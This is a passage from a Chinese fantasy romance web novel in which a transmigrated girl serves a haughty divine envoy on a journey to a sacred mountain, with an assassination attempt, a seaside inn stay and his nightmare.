“凡世间药物,皆以天地相生相克为据,除病去灾,疗伤愈体。药,本就在五行之内、六道之中,而六道之外乃是天命。方圆之内,如何能跃方圆而破之。”
他望向赵玉屿,目光平静:“这世上没有一种药,能解天命。”
天命......
天命所定,二十而亡。
赵玉屿怔怔问道:“那神使大人真的会回到天上当神仙吗?”
她一直不明白这个世界的法则,这世上究竟有没有神仙,又或者人死之后魂归之处为何?
六道轮回,还是化为虚无。
子桑仰面躺下,双手枕在头下,望着屋顶的纵横房梁徐徐说道。
“或许吧。若我为神,我便化为雨露风霜,散入山川四海、塞北江南,到时候每一缕风,每一滴雨,每一阵青草香,都是我。”
望着子桑说到这时眼中流露出的向往与惬意,赵玉屿忽而感到喉咙有些苦涩。
无论是原著中,还是现实里的子桑一直所求不过是自由而已。
最后大结局里,与其说是因为善意而救女主,不如说是为了反抗所谓二十而亡的天命,选择在十九岁那年了却自己的生命。
温润善良,却有一身傲骨,从不屈服于命运,这便是她喜欢的角色。
赵玉屿压了压嗓子,撑起笑脸状若欢笑:“那到时候小女便去山川四海、塞北江南见神使大人。”
子桑睨了她一眼:“你倒是想得美,将游山玩水说得多忠心凛然。”
赵玉屿嘿嘿一笑,凑上前仰脸道:“神使大人,小女能跟着您一道去瑶山吗?”
子桑听到这话眉梢微挑,侧头望向她:“怎么,你想去?那里可没你想得那么好,到处都是雪,入眼只有白色,风冷得刺骨,夜晚寒凉,冻得人根本睡不着,水里一股咸腥味难喝死了。”
赵玉屿好奇:“为什么水里会有铁锈味?雪山的水不都是甜的吗,又不是海水?”
子桑似乎被问道,抿了抿嘴,没有回答也没阴阳怪气的怼她。
赵玉屿见他面色不悦,也不敢再多问,生怕这小祖宗突然发脾气自己小命不保,只道:“传闻中瑶山乃是仙山,想来必定仙气缭绕,不同凡世,小女自然想要一窥仙山真容,长长见识。不过,最重要的是神使大人去哪里,小女就去哪里。”
提到仙山,子桑发出一声嗤笑,似是在笑她见识短浅,又似在笑其他,但又听她后半句,难得沉默,扭头望向窗外肆意绽放的花树良久,才缓缓说道:“你若是能在三日内赶制出一套绝世华服,我就带你去。”
“绝世华服?”
子桑悠声朗朗:“惊鸿一瞥,遥遥相顾迟忘却;刹那芳华,流光易转人难寻。”
他捏了捏赵玉屿的脸,“你若能做出这件衣裳,我就带你去。”
“大人说话算数!”
子桑绝非言而无信之人,有了他的承诺,赵玉屿信心十足,恳求宋解环换了班,好抓紧时间赶制衣服。
宋解环脸上的伤刚好,新长的头发刚冒尖,听到赵玉屿换班的请求当时眼泪就下来
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了,然而看着赵玉屿恳切的目光,最终哽咽着含泪答应。
当晚,她颤颤巍巍的为子桑拆卸头饰,屏气凝神,半晌才拆完,长舒一口气。
最繁琐的一步做完,剩下便方便许多,为子桑褪了外衫后,宋解环呈上面盆和茶杯,子桑漱口清面后便恭敬退下。
“等等。”
幽渺的声音一出,宋解环欲哭无泪,转过身小心翼翼道:“大人有何事吩咐?”
“玉儿今日做什么呢?”
宋解环毕恭毕敬回答:“玉儿今日一日都在房中闭门不出,绘图制衣。”
她正奇怪,不正是神使大人让玉儿制作衣物的吗,怎么今日都问了她好几遍了。
头顶传来子桑不咸不淡的声音:“下去吧。”
“是。”
出了门,宋解环长舒一口气,自觉度过一劫。
接下来这几日子桑都心不在焉,没怎么为难她,再加上赵玉屿特意给她准备了一些糕点和玩具让她用来讨好猴大它们,也算是战战兢兢地平安度过。
*
三日之后,奉仙宫门徐徐而开。
迎着青白天空中的第一道披霞晨光,一列华丽奢靡的车队自宫门内秩序井然缓缓而出。
四道并行,内道两队依旧是奉仙宫出行的青袍护卫开道,绵延数十米,其后八马拉驾环鹤莲柱鲛纱垂车辇,再后各色行囊箱裹,浩浩荡荡几里路。
车队外道被两队黑甲军护卫而行,严防死守,不留丝毫可乘之机。
与几个月前的回城百姓欢呼朝拜不同,这次道路两边跪拜相送的乃是官袍加身的各大朝臣。
德仁帝极其重视此次出使瑶山。虽未向众人言表真相,但却用最高礼待相送,光是路上吃穿用度的御赐之物都绵延几里路,临行前拉着子桑殷殷嘱托,衣食住行细细叮嘱,一腔热忱溢于言表,早已将一旁跪了三日,被人搀扶才能踉跄而起的太子宋承嵘抛诸九霄云外。
子桑含笑敷衍几句,望着宋承嵘阴沉苍白的面容,双手拢袖轻描淡写:“太子殿下为黎明苍生舍己受罚,原本今日应当是太子殿下的礼待,倒是让本尊得了巧。”
德仁帝一摆衣袖不以为意:“太子为国请命乃是他的职责所在。”
他上前一步,朝子桑笑着嘱咐,“神使,正事要紧,定要早去早回。到时,朕必定亲自为神使接风洗尘,再为神使盖一座通天宝塔,授昊天佑圣护世弘济无上天尊,才可配神使之功。”
子桑微微颔首,语气未见热忱:“多谢地上皇。”
29. 第 29 章
车辇浩浩荡荡出了帝都,一路朝北绵延数十里,越过殿宇高楼,自云层纵深望去,在广袤天空下犹如井然迁移的黑白蚁群。
“哈......”
赵玉屿坐在马车上打了个哈欠。
子桑瞧着她她硕大的黑眼圈,难免嘲笑:“不知道的还以为你是白罴转世呢。”
“哈哈......”
赵玉屿又打了个哈欠,这次含了些无奈苦笑。
这三日,她将自己关在房间里画图,又叫上几个手艺精巧的匠人一起打版、制衣、拆了又改,熬了整整三个大夜,紧赶紧终于在出发前将衣服赶制出来。
然而衣服也只是大致成型,细节还需要她亲自手绣,赶在到达瑶山之前将整衣和配套的服饰全部完成。
她眯着眼,抱着衣服神情恍惚地又绣了几针,随着马车摇晃打了个盹儿,歪头就朝一旁倒去,倒在半路,一个激灵又醒了过来,继续凑到衣服前左歪右倒又绣了一针。
瞧着她那被吸干精气半死不活的样子,子桑嫌弃地将华服扯到一边丢在角落里:“你这副鬼样子,莫把我的衣服绣坏了。”
赵玉屿挣扎着要去捞衣服:“我还能绣......”
青葱如白玉的指尖点在她的额头,将她朝一旁推去。
并未使太大力气,但却将早已精神恍惚的赵玉屿推倒在车榻上。
身下是柔软绵细的羊绒厚毯,倒在毯子上的一瞬,恍恍惚惚间似是听到一声旷远处传来的幽幽轻语。
“睡吧。”
这声音仿佛沾染了迷醉薄烟,轻悠悠飘入赵玉屿的耳中,一瞬间卸下了所有防备和压力,陷入黑甜梦乡,如坠云雾,似梦似幻,不知真假。
长风拂过飒飒竹林,尖锐刺耳的破风声凌冽响起,箭雨如潮,从碧涛滚滚的竹林飞涌而出,直指正中间的宝马香车。
随行侍卫连忙抽剑阻挡,黑甲军并未出战,而是顿时用铁盾覆盖收缩成型,将马车层层护卫其中,不留丝毫缝隙。
箭雨既罢,似是静谧片刻,就在众人以为袭击已退时,又一阵箭雨飞至。然而此次箭雨却是锋芒散射随行众人。
竹海之上,一跃而出几十个青衣刺客,随箭雨掩护飞扑而来,落地即杀,刀锋凌厉狠辣,招招毙命不留活口。
又一青衣刺客直踏铁盾飞至车顶,手腕翻转间长刀直竖,干净利落朝马车刺下。
黑甲军瞬间散开,反手铁盾掷向刺客,正中胸口,将其撞下车顶,重重摔落在地。
就在黑甲军上前控制住他的那刻,刺客已口吐黑血,果断自行了断。
其他刺客见偷袭不成,不再恋战。犹如来时无影,当即抽身而去。
竹叶潇潇而落,徒留遍地尸体。
随行的侍从还躲在角落瑟瑟发抖,惶恐刺客周而复返。
黑甲军清点人数,领头一人抱拳垂首朝马车铿锵有力道:“禀报神使,刺客已退,被伏五人皆服毒自尽。属下无能,让神使受惊。”
出乎意料的,马车内并未有愤怒或劫后余生的庆幸,而是传来一阵似有若无的嘲弄口吻。
“五个?看来副将不止无能,算术也不太好。”
刘副将听到这话一怔,很是不解。
长风而过,竹叶发出飒飒微响,忽而,脑中如惊雷乍响,他猛地转头望向竹林。
幽深昏暗的竹林似有窸窸窣窣的细响,那细响渐渐连成一片,层层叠叠,声如鬼魅,像是午夜迷睡时,顺着床榻爬上脊梁的一只鬼爪,冰凉战栗。
刘副将不知为何感到后背一阵发凉,常年战场厮杀的肃杀血腥煞气并未抵消心中的惊寒,一滴冷汗顺着脊梁滑落,留下的细细痕迹如同鬼爪爬痕,又如粼粼蛇斑。
他抬起脚,拔出长刀缓缓靠近竹林。
随着他的靠近,那细响愈加得快,而后便渐渐微弱下去,没了声息。
刘副将在竹林中走了不到百步,便被眼前的场景惊愕在地。昏暗竹林中,细碎阳光的照耀下,满地无声的青衣刺客,姿态各异倒地不起。
他们身上未见任何刀痕血窟,却已成死尸。
刘副将用长刀拨开一个尸体,唇色深紫,眼圈青黑,五指皆黑,脖颈处两个细牙深窟已经凝出紫血。
林中五十五具尸身,皆是一击毙命,中毒而死。
忽见一青衣刺客的衣襟似有起伏,刘副将凑近一瞧,见衣领处钻出一条碧青小蛇,刘副将见状连忙挥刀要砍,那长蛇却身形鬼魅躲过一击,瞬间扭身望向他,浑身鳞片炸起,长身如弓,双眼碧青似幽幽鬼火,长信嘶嘶与他对峙。
刘副将攥紧长刀,怒目而睁,却已是满头满脑的细密冷汗。
这竹叶青毒性极强,速度快如闪电,若被咬中,须臾之间便暴毙而亡。
然而下一刻,那青蛇冲他长牙挑衅之后,扭身朝竹林深处游去。
蛇腹划过满地竹叶发出窸窸窣窣的碎响,像是爬过刘副将的脖颈一般,缠绕住,他似乎都能感觉到那冰冷
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的鳞片划过脖颈的触感,想象到长信刺入肌肤的刺痛窒息,顿时寒毛耸立,脖颈处止不住的发麻发凉。
刘副将抬头望向高耸入云的竹林,眩晕的日环下,竹叶漫天飘落,窸窸窣窣的细响和风拨竹叶的飒飒声响纠缠在一起,一层又一层环绕在周身,像是要将他套牢,缠绕,窒息,幽幽暗处恍惚点燃了无数双鬼火,阴暗冰冷的注视着他,只待入阱猎物松懈时刻的致命一击。
他下意识攥紧长刀,快步朝竹林外逃去。
睡梦中的赵玉屿自然不知晓这些事情。
她饱食酣睡,一觉醒来时心满意足地蹬了蹬腿伸个懒腰。
车里此时只有她一个人,尚未制作完成的衣裳还如昨日一般堆在角落里。
她坐起身子,瞧见从身上落下的羊绒毛毯,忍不住笑了笑,子桑这家伙,还真是一如既往的嘴硬心软。
推开马车厢门,车外面一片雾蒙蒙的清蓝,草地上凝聚的湿漉漉的晨露滚落,混着青草泥土的清香糅杂在炊烟袅袅的烟火气中,格外清新。
车队驻扎在一片空旷的草地上,众人已经在有条不紊的做活。
有人在收拾行李,有人在喂马草,有人在烧火做早膳。
不远处的地上满满摆了一溜排的炉灶,小厮们卷袖扎腰,用风箱扇着火,橙红色火苗蹿出炉子呼呼的往外冒,在蓝阴阴的清晨很是鲜亮扎眼。
子桑那祖宗不是能受苦的主,便是荒郊野外,也得吃上精致热口的饭食。
厨子们忙活着将刚钓上来的虾拨壳剁泥,精致剔透的水晶虾饺放入蒸笼里,蒸腾的白气顺着蒸笼边缘一圈一圈的冒出来,缓飘飘地上扬,与湿润的树木的青晕糅合在一块儿,消散在泛起鱼肚白的天际。
赵玉屿捏了些牙粉,朝队伍前边走了些,蹲在小溪旁掬起一捧水漱口,又洗了把脸,才觉得清爽些。
“又不是没有热水,在这做什么?”
听到这熟悉的嫌弃声音,赵玉屿掏出帕子擦了擦脸,回眸笑道:“这水凉快些,让人清醒。荒郊野外的热水毕竟稀罕,柴火烧起来又麻烦,还得供着您使用呢。”
子桑双手拢袖,居高临下轻啧一声:“这河水看似清澈,实则污秽极多。若是瞧不见的虫卵蛇卵什么的,喝到肚子里孵化,到时候满肚子的蟑螂虫蛇,撑破了肚皮钻出来,肠子满地,啧啧啧,可如何是好。”
赵玉屿手一抖,被他说得脸色煞白,挤出一个难看的笑脸:“应当......应该不会吧……”
30. 第 30 章
一想到自己可能要成为某种虫子的老巢,赵玉屿欲哭无泪,忍不住地犯恶心,用手指扣嗓子眼儿干呕。
见她发绿的小脸,子桑心情大好,仰头朗声笑着离开。
他越笑,赵玉屿心里越发慌,唤出系统仔仔细细检查身体好几遍,确保没有任何异常才放下心来。
嘟囔着嘴跟在子桑身后,经过炉灶时被热腾腾的熏人香气缠住,忍不住驻留片刻。
她昨日倒头就睡,晚上也没用膳,今早刚起来肚子就已咕咕直叫。
“早膳做好了吗?”
忙活的厨子一边掀开笼子查看一边拱手回道:“快好了快好了,至多一炷香就能吃了。”
赵玉屿见他面色苍白如纸,眼下青黛浓郁,有些疑惑:“王厨,您身体不舒服吗,怎么脸色这么难看,若是撑不住了就让旁人接手就行了,身体要紧,好好休息啊。”
王厨连忙摆手笑道:“没有没有,就是昨日受了些惊吓晚上没睡好,好歹留着一条命也没受什么伤,已经是大难不死了!”
惊吓?
赵玉屿一脸茫然,左右瞧了一圈随行众人,才发现似乎是少了些人,有些人的胳膊腿上还扎了白色绷带,一瘸一拐的看起来受了伤。
只是因为随行人数众多,大多又面生,她方才未曾留意。
“出什么事了吗?”
王厨瞧着她一脸惊讶:“玉儿姑娘......您不知道昨日发生了什么?”
这一反问反倒让赵玉屿有些尴尬和心虚:“我昨天太困,睡着了......”
“......”
王厨望向她的目光从惊愕转而变成钦佩,甚至忍不住竖起大拇指以一种难以言喻的神色夸赞道:“那等场景也能睡着,玉儿姑娘当真是......英雄出少年......”
赵玉屿:“......”
听着不像好话啊。
*
回到马车上,赵玉屿沉默地坐在角落里,一声不吭地拿起衣服绣花。
子桑靠着腰枕懒散倦怠地翻着书,耳朵动了动却听不到声音,眼皮从书中抬起瞧了她一眼,见她难得的沉静,反倒有些好奇:“怎么不说话。”
平日里赵玉屿总是叽叽喳喳说个不停,不是拍马屁就是拍马屁,像是嘴上长了个铜碟喳喳直响,咯咯笑起来恍若银铃悦耳,即便不说话也是殷勤狗腿地忙活来忙活去,干什么都起劲,专注又有活力,清炯炯的杏眼里溢出生机,一个人都能将日子过得热热闹闹。
同现在这副沉默寡言,眼中无神的神色俨然两样。
赵玉屿摇了摇头没有说话,又绣了一针,叹了口气,索性放下手中的衣服哀叹道。
“我就是觉得自己太没用了。”
这下轮到子桑讶然,赵玉屿可不像是会自怨自艾的人,他眉梢微挑,问道:“此话怎讲?”
赵玉屿心里苦啊,好不容易赶上发生意外,还是她心心念念已久的刺杀,这正是英雄救美的大好时机,增进感情的绝佳机会,结果,她!居!然!睡!着!了!
而且睡得那叫一个香一个甜,外面咵咵乱杀,刀光箭雨满天飞,她居然能睡得跟个死猪一样,这是怎样境界的人才。
赵玉屿都佩服自己,就这么错过一个绝佳的刷好感度的机会。
可惜啊,痛心啊!
她不中用啊!
想到这里,赵玉屿又忍不住捂脸哀嚎一声。
子桑:“......”
当然,赵玉屿必然是不能让子桑知道她的真心想法,只得假装捂脸抽泣,小声难过道:“小女就是觉得,昨日遇到危险的时候,小女居然在睡觉,没能保护神使大人,失职失责,真是太没用了......若是神使大人出了什么意外,小女万死难辞其咎。”
子桑见她居然为这种事情难过,有些无语凝噎,又拿起书淡然道:“我还没沦落到需要你来救的境地。”
赵玉屿见他嫌弃,忍不住嘟了嘟嘴:“虽说小女不会武功,但那也是人家对神使大人您的一片忠心嘛。”
“行了,你若真是忠心无二,便在上船前将衣服制好。”
赵玉屿不解:“上船?”
子桑款款而言:“等到了徐淤渡,咱们便乘船出海,走海路去瑶山。”
“传闻瑶山常年冰雪覆盖,不是在北面众山之巅吗?为什么要绕道走海路呢?”
见她困惑,子桑面上露出微渺的笑意:“海路虽慢,却更稳妥些。”
稳妥?
赵玉屿思索片刻,自以为了然。
陆路地势复杂,既然是仙山,那必定要翻山越岭、经过丛林毒障,盘算下来不一定比海路所费时间少。
而且敌暗我明,若是夜晚困顿、倦怠松懈之际,很容易遭遇埋伏袭击,人员难免不断消耗。
但若是走海路,浩浩茫茫,空旷可见天际,别说伏击,便是在广袤海域追得上船也是不易。
只要备上足量弓箭的武器,在海面上敌人想要靠近船只难如登天,更别说黑甲军层层看守下靠近子桑了。
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>接下来的日子里,倒没有太多的稀罕事。
路上倒是依旧有几批刺客袭击,一开始赵玉屿暗搓搓的紧张又激动,瞅准时机就想表现自己。
结果这些刺客真是给他机会都不中用!没一次能杀到子桑面前!
不是被黑甲军捕获,就是有各种意外发生。
有一次子桑嫌坐马车太累,停在山里休整片刻,搬了把躺椅靠在水边晒太阳,周围除了赵玉屿伺候着就没有旁人。
那地方四面皆山,树木成林,多好的刺杀机会。
只要刺客一来,唯有她能一马当先拦在子桑前面护卫,这好感度不就来了吗!
果不其然,一群刺客冲了出来同黑甲军混战良久,一个刺客眼见着好不容易都要冲破重重阻碍杀到子桑面前了,赵玉屿大喝一声“神使大人小心!”旋即张开胳膊拦在前面。
然后下一秒,眼见着那刺客被白鹤给叼走了。
对,没错,就在子桑两米开外,“唰”得一下就被叼走了。
赵玉屿人都麻了。
从此以后断绝英雄救美的心思,安心埋头于制衣之中。甚至再听到黑甲军副将扯破嗓子高呼“护驾——有刺客——”的时候,她已经做到心如止水,眼皮都不抬一下。
呵呵,就这水平还做刺客,废物。
让她头疼的反而是子桑,这丫小祖宗近日来心情甚好,时不时兴起对衣服做出些点评,她又得重新拆了再改,翻来覆去的折腾,在对甲方无理要求的咬牙切齿和打工人悲愤的狗腿相迎中,还算安然的度过了月余。
等到一月之后一行人到达徐淤渡,赵玉屿也终于将手中的衣服制作完成。
海边小镇上,巨大殷红的夕阳一点一点不慌不忙挂落在粼粼碎金的渡口桅杆的灯笼上,将灯笼映照出橘红的光晕,马车缓缓停在徐淤渡的客栈前。
“呼——”
赵玉屿跳下马车,松动了下肩膀,尽情呼吸新鲜空气。
一连坐了一个月的马车,总算是能休息会了。
这镇子不大,沿海而建,抬眼望去便可看到海天交际处被夕阳侵蚀得白烂刺眼的海浪在海面层层翻飞,将倒映在海面的融金落日击打成哗浪浪的碎金。
海浪的上空,一群海鸥挥动翅膀,从巨大白灼的橘日中连成一线,伴着潮汐嗡嗡涌涌地朝岸边飞来。
比起绿水青山的舒柔婉约、水田麦地的安然恬静,大海有种额外的寥廓淡远,长风吹过八百里海面,只是顺带着拂去眉上心头的愁虑,风不在乎,海也不在乎。
31. 第 31 章
很快便要入夜,明日一早才能出船。到了小镇上自然是要先入住。
如子桑这般矜贵的懒人,自然是不会自己主动收拾房间的,虽然已有随从先行一步将小镇的客栈清了场,审查一番后布置好房间,但赵玉屿还是亲力亲为又收拾了一遍,唯恐不合护卫们不了解子桑的习性安排的不合适,到时候又惹得小祖宗生气折腾人。
被子要换成蚕丝的,床铺得是细羊绒的,床帘要银鳞鲛纱的,隔帘需得青玉珠,屏风得是银底鎏边美人芭蕉叶蚕丝织,座椅务必小叶紫檀香木,更别提杯盏碗筷,需得上等雕花银制,就连马桶都得是银盆,还要在屋中的角角落落摆好各色动物手办,狐狸、白鹤、猴子、犬猫猪羊样样不能少,不然小祖宗没有回家的感觉。
处理好一切后,日头已经完全落入海底,周遭光线黯淡,雾蓝蓝的天空和紫阴阴的海面将空气镀上一层淡淡的咸腥味。
赵玉屿细细点上梨花月麟香,又在盛好热水的浴桶中撒上各色花瓣,滴上几滴玫瑰花精油,才下了楼恭请子桑下车。
一打开车厢门,海风的冷腥味扑鼻而来,子桑眉头微拧,正待发作,迎面而来的女儿袖里香掩去异味,让他眉头顿时舒展。
赵玉屿笑吟吟的扶着子桑下了车,略抬衣袖虚掩在子桑面前,既款款遮住了他的面容,又掩去了那股略微不适的味道。
赵玉屿对自己的体贴周到很是满意!
打工人第一要义,就是要万事合上级心意,先上级一步将一切琐事考虑周全。
客栈内已经被清场,连掌柜的都被“请”了出去,只留下他们自己人。
黑甲军重重把守,将客栈上下里外围得密不透风,好在小镇上人本也不多,入夜便都关门闭户,没有引起什么轰动。
子桑顺着铺好鼬鼠皮毯的楼梯上了二楼,推开门,月麟香的味道萦绕周身,褪淡了周身的咸腥味。
沐浴的热水已经提前备好,舟车劳顿难免倦怠,子桑进了房间便顿时踢掉靴子,踩着温软的绒毯赤脚走到屏风后,一边走一边肆无忌惮地褪去衣衫,滑入水中时已经□□。
热腾腾的水汽弥漫,将屋中洇出蒙蒙的隐白,云蒸雾绕,屏风上的美人蕉若隐若现,如临仙境。
赵玉屿瞧着他光洁的后背、圆润的屁股和修长的双腿,摸了摸鼻子,还好没流鼻血。
经过上次在温泉旁猝不及防的视觉冲击,她心下倒也有些准备,对于子桑的随性没那么惊讶愕然。
这次出行猴大原本是跟着的,但许是性子顽劣,瞧见沿途山水兴奋不已,子桑也不囚着,便放了它出去玩,十天半个月才回来一次。
赵玉屿原本还担心猴大会贪玩跟丢,子桑倒是丝毫不担心,只道它自己会找来。
只是如今猴大不在,子桑又不喜旁人靠近,他的贴身事物便一应由赵玉屿处理。
这些日子两人同车而眠,成天挨在一起,无事便闲聊家常,倒比往日更亲近些。
屏风里面小祖宗舒舒服服的泡着热水澡,屏风外面赵玉屿勤勤恳恳的捡起一件件衣物放在篓子里,抱出去差人送去清洗干净,随即便马不停蹄地下楼吩咐厨子们尽快备好晚膳,免得子桑泡完澡饿了发脾气。
随后,她又细细再整理好一遍桌椅床铺,确保平整无褶皱,紧接着又拿剪刀绞了一遍屋中的烛花,让光线更亮堂些,将子桑寻日里爱看的书取出放在小榻上,供他睡前阅读。
巡视一圈,见万事稳妥,赵玉屿才拿出针线,坐在小榻上继续缝衣裳。
蒸腾水汽中,子桑双臂支着浴桶边缘仰着头阖目休憩。许是热气暖人,洇入心地的舒适让他有些困倦,不知觉中进入梦乡。思绪渐渐飞入云端,忽而又从云端坠落,一瞬间,白雾骤散,周遭是伸手不见五指的幽黑。
黑,四周无一丝光亮,只有隐隐约约尖锐刺耳的破空声,像是利箭直指眉心,旋即是一声声震耳欲聋的轰鸣。
他记得,那是烟花绽开的声音。
一声,一声,又一声,烟花在黑不见底的天空陡然炸开,孔雀开屏般映射在厚重晶莹的冰面上,绽放出五彩斑斓的烂醉颜色,如同泼洒在镜子上的胭脂水,流动而扭曲,渐渐的,烟花在人群潮起的欢呼声中,斑斓褪去,只余下星星点点的细碎金光,像是黎明时分乍响的灯苗,尽兴挥洒最后的余温。
可是子桑的眼前没有烟花,没有火光,没有人群,他拥有的只是一片漆黑。
黑,深不见底的黑,和咸腥味的水。
就连水中,他也看不到一丝光影的波动。
他的世界里只有无尽的黑暗,像是一只在阴沟里蠕动的臭虫,见不得一丝光亮。
倏忽间,随着一声震天动地的巨响,天地剧烈颤动,黑暗的边缘被轰隆隆的猎猎火焰撕开一道裂口,火焰从裂缝中窜天而出,将周遭的一切黑暗燃烧为齑粉。
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火焰越来越大,越来越大,最终似滚球般势不可挡地向他冲来,巨大的热浪吞噬着周身的空气,将整个黑色的地平线訇訇掀起。
他被灼热的白光刺痛双眼,肌肤被热浪灼伤却无处可逃,只能竭尽全力蜷缩在角落瑟瑟发抖,却又忍不住强睁开双眼,忍受着双眼被灼伤的剧痛,竭力望向这黑暗世界中唯一的光亮,在生命的最后一刻,以渴求的欲望将一切色彩纳入眼底。
他看到,火球的中心亮得惊人,白如昼光如明镜,将天地照得透亮。
可那亮白的中心似乎有一点黑影,在无暇的光洁中显得格格不入,甚是扎眼。
黑点在亮光中越来越大,缓缓向他靠近,在扭曲蒸腾的热浪中化为人形毫无征兆的出现在他面前。
万籁俱静中,他看到了自己。
“啪嗒——”
蒸腾热气凝聚的水滴不堪重负的从屋檐滴落,如冰凉地箭羽落在眉心,骤然打散一切的惶骇。
子桑睫毛轻颤,濛濛地睁开双眼,不着边际地望向屋檐,眼神空洞,茫然无措。
暖黄的烛光透过飘渺的水汽一扭一扭跳跃在他的脸上,细弱的灯苗影影绰绰、重重叠叠,将他的尚未褪去少年气的脸笼罩在光与影中,精致却无生气,像是一具腐烂多年的遗骸,唯有微弱起伏的胸膛印证着他的存在。
雾气之外,隐约有歌声娓娓传来,舒缓飘渺,像是酷暑炎夏的一抹习习凉风,荒无人烟的蔓野中一星微亮灯火,让被梦魇缠绕惶惶窒息的人舒呼卸了一口气,得以求生。
子桑似乎用尽全身的力气才稍稍偏头望去,望到水汽氤氲的屏风里。
莹润桑丝的屏风后,少女疏懒靠坐在小榻上,手持针线灵活的翻动衣料,她低垂着修长的脖颈,白皙的手指穿针引线,指尖翘如兰花,绰约身姿同屏风上的美人蕉融为一体,在柔焦暖光中恍若画中人。
她轻哼的曲调子桑未曾听过,许是民间童谣,轻飘飘的悠扬婉转,带着丝少女灵动的雀跃和骄傲。
一听便能想象到屏风后那人的神态,未见得有寻常大家闺秀的端庄秀丽、泰然稳重,甚至有时候唱到尽兴处还会边绣花边荡起双腿,俨然一副乐在其中的欢愉,然而她神色间的活泼灵动,眼溢璨星却无人可比。
子桑想要唤她,但张了张口,最终没有发出声音,只静静地听着,静静地望着,望得很深,似乎一眼望到了深海里。
32. 第 32 章
赵玉屿穿针引线,手指翻转间打了个结,利落地咬掉线头。
“在绣什么?”
惫懒的声音传来,抬头望去,就见子桑从屏风后转出。
他只随意套了件白色衬衣,长发未干,黏湿湿的垂在身后的衣服上,水滴顺着缕缕光润的青丝打湿脖颈,再一路向下,略过微敞的衣领滑过锁骨,没入烛火投射的微晃暗影之中,浓郁的月麟香熏出一团暧昧。
衣肩后背已被湿发打湿成一团一团,像是盛开在素衣上的暗银团花,水波荡漾着一圈圈向外扩去,渐渐连成一片,影影绰绰倒映出银衣下细滑起伏的肌肉线条。
赵玉屿连忙放下手中的针线,起身用长巾裹住他的头发细细擦拭。
子桑侧坐在小榻上,低头拿起她方才绣的衣裳,却见并非是给他做的那件衣裳,而是个孩子大小的戏服,红衣黄裙黑金腰带,外套金色的肩袖盔甲,衣襟处绑了个红色的蝴蝶结,瞧着格外神气,却必定不是给他的。
赵玉屿见他翻来覆去的看,嘿嘿一笑:“这是给猴大做的。上次不是吃了它的香蕉嘛,我就想着给它做件衣裳赔礼道歉。”
齐天大圣装,虽说猴大胖了点,但也是只猴子,跟猴哥算得上是沾亲带故。
想到猴大穿上这衣服的模样,子桑嘴角忍不住含了丝笑,放下衣服:“你倒是摸透了它的品味。”
猴大最喜欢鲜亮的颜色,这身衣服穿上威风凛凛,它必定喜欢。
赵玉屿见他夸赞,眼角眉梢都扬起,略带得意:“我如今同猴大也算是老相识了,自然知晓。”
她顿了顿,似乎想到什么,忽而语调低沉:“神使大人,其实小女心中一直有一个问题,不知当不当问?”
子桑斜了她一眼:“你还有不敢问的话?”
赵玉屿想做什么,就算他一开始不同意,她也会撒娇卖痴自谋出路,总是想着法子做成,可没见她有丝毫的胆怯。
子桑也随着她心意,毕竟日子无聊,有这么个闹腾的活宝在,同猴大那几个鬼精总能一起整出些新花样玩,瞧着也热闹。
赵玉屿嘿嘿一笑,为他将擦干的长发盘起松松插上发簪,坐在小榻上一边给他捏肩一边问道:“其实也没什么,就是有一件事着实有些好奇。神使大人,您当初为什么要罚付姑娘去后山静闭思过啊?”
“谁?”
子桑眉头微蹙,显然已经忘记了她口中的人,又或者从未记住过。
赵玉屿连忙回道:“付楚袅付姑娘,就是之前同小女和宋姐姐一道被选为内殿侍女的那个姑娘,当初神使大人您第一个选中的就是她。可是她只伺候了您一晚,第二日人就不见了,李嬷嬷说她被罚到后山静闭思过。”
听到这话,子桑思索片刻,才恍然想起似乎有这么一个人,轻笑一声:“李嬷嬷是这么说的?”
赵玉屿点点头:“是,不过猴大说她死了,所以小女一直好奇,却又不敢多问。”
子桑望向她,似是揶揄玩味:“那怎么现在敢问了。”
赵玉屿一脸正色吹了一通彩虹屁:“因为神使大人恩泽万物,宽厚仁慈,心怀大义,兼济天下,品行之高洁如巍巍青松,令人仰止,胸怀之宽广如浩浩东水从流入海,若非大错从不轻易惩治下属,连小女这般笨手笨脚之人都能容忍,放在身边重用,仁厚之心日月可照,令小女感动不已,潸然泪下......”
论是子桑如此自恋的人被她吹捧得也有些无语凝噎,他自己是什么样的性子他还是有自知之明的。
宽厚仁慈谈不上,心怀大义更无从谈起。
子桑揉了揉耳朵,漫不经心道:“闭嘴。”
“哦。”
“倒也没李嬷嬷说得那般麻烦。”
耳边没了彩虹屁,子桑仰头朝后靠去,舒舒服服的躺在赵玉屿的大腿上,抬眼波澜不惊地望向她:“她想勾引我,我嫌烦就杀了她。”
赵玉屿:“......”
漫不经心的一句话,却让本就对子桑心怀不轨的赵玉屿心惊胆寒。
这,这是暗示吗?这是威胁吗?
这是杀鸡儆猴告诉她不要有歪心思吧!
感受到身下肌肤的僵硬,子桑歪了歪头抬眼上瞟,有些疑惑:“怎么了?”
赵玉屿挤出一个难看的笑容:“许,许是付楚袅见神使大人仙人之姿,所以对神使大人您心生爱慕,一时昏了头才会有越矩之处,的确该罚,但,但也罪不至死吧.......”
她越说越虚,毕竟子桑是神使,对于信奉神灵的封建国度来说,在神使面前有任何不妥的行为,就算是太子,也是犯了亵渎神明的重罪,罪至极刑,就算凌迟处死,众人也只会痛快叫好。
侍奉神使这种事情,只可意会不可言传,虽然各家勋贵私底下都想往子桑的床榻上塞人,却是永远不能摆在台面上说的大忌。
尤其对于子桑这种极度洁癖自恋狂而言,思想上被亵渎就如同被泼了一身的污秽,更别说行勾引之实了。
果不其然,子桑神色嫌恶之情溢于言表:“肮脏龌龊的东西,自然不能留存于世。”
赵玉屿:“QAQ”
她一阵后怕,还好还好,她虽然竭力讨好子桑,却没做出任何越矩之事,否则被喂鱼的就是她了,尸骨无存,就算是一百颗回魂丹也不够用啊。
看来这是子桑的底线。
赵玉屿心中暗暗发誓,今后一定要小心谨慎,端正态度,以攻略目标为己任,手段干净,内心清白,绝对不能有任何越界之举,绝对不能起丝毫异样心思,力争用真心感动子桑,提高子桑的幸福感、获得感、满足感,从而刷满好感度,完成攻略目标。
赵玉屿给自己打气立下鸿鹄壮志,既然不能以恋人的身份攻略他,那就只能以无微不至的母爱感化他!
反正只要好感度满了就行,排除一个错误方式,总还有其他途径。
如此,赵玉屿望向子桑的目光顿时转化为满眼慈爱。
子桑:?
总感觉她看我的眼神有些诡异。
翌日,天空随着海鸥的鸣叫渐渐褪去湿黑,潮汐拍打海岸送来微咸的海风,灰蓝的天空隐隐发白,像褪色的旧衣衫。
